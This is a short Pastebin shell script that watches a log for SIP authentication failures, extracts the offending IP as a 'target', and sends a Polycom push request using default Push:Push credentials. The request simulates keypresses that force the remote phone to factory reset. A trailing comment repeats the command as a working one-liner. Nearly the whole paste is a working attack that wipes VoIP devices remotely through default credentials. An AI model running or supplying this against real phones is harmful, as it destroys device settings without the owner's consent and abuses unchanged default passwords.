Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- tail -0f /var/log/somelogfile.log | while read line
- do
- if echo $line | grep "[WARNING]" | grep -q "SIP auth failure" ; then
- # Log detected sip authentication error to file
- STR="$(echo $line | awk '{print "Date:",$1,"Time:",$2,"Login:",$14,"IP:",$17}')" >> logger.txt
- # Get the found private IP address out of the errored line
- IP="$(echo $STR | rev | cut -d" " -f1 | rev)"
- # Provide output to the user of the IP to brute
- echo "Target IP: " $IP
- # Content Type header
- CT="Content-Type: application/x-com-polycom-spipx"
- # The XHTML to send to the phone in question for forced factory reset
- XHTML="curl -v --digest -u Push:Push -d $'<PolycomIPPhone><Data priority="Critical">Key:SetupnKey:Dialpad2nKey:Dialpad9nKey:Dialpad9nKey:Dialpad9nKey:Softkey4nKey:Dialpad1nKey:Dialpad5nKey:Dialpad5</Data></PolycomIPPhone>' --header "$CT" $IP/push"
- # print out URL for test
- echo $XHTML
- RESPONSE=`$XHTML`
- echo
- echo $RESPONSE
- fi
- done
- # This is an example of the fuctional code that works straight in the terminal.
- # curl --digest -u Push:Push -d $'<PolycomIPPhone><Data priority="Critical">Key:SetupnKey:Dialpad2nKey:Dialpad9nKey:Dialpad9nKey:Dialpad9nKey:Softkey4nKey:Dialpad1nKey:Dialpad5nKey:Dialpad5</Data></PolycomIPPhone>' --header "Content-Type: application/x-com-polycom-spipx" xx.xx.xx.xx/push && echo
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement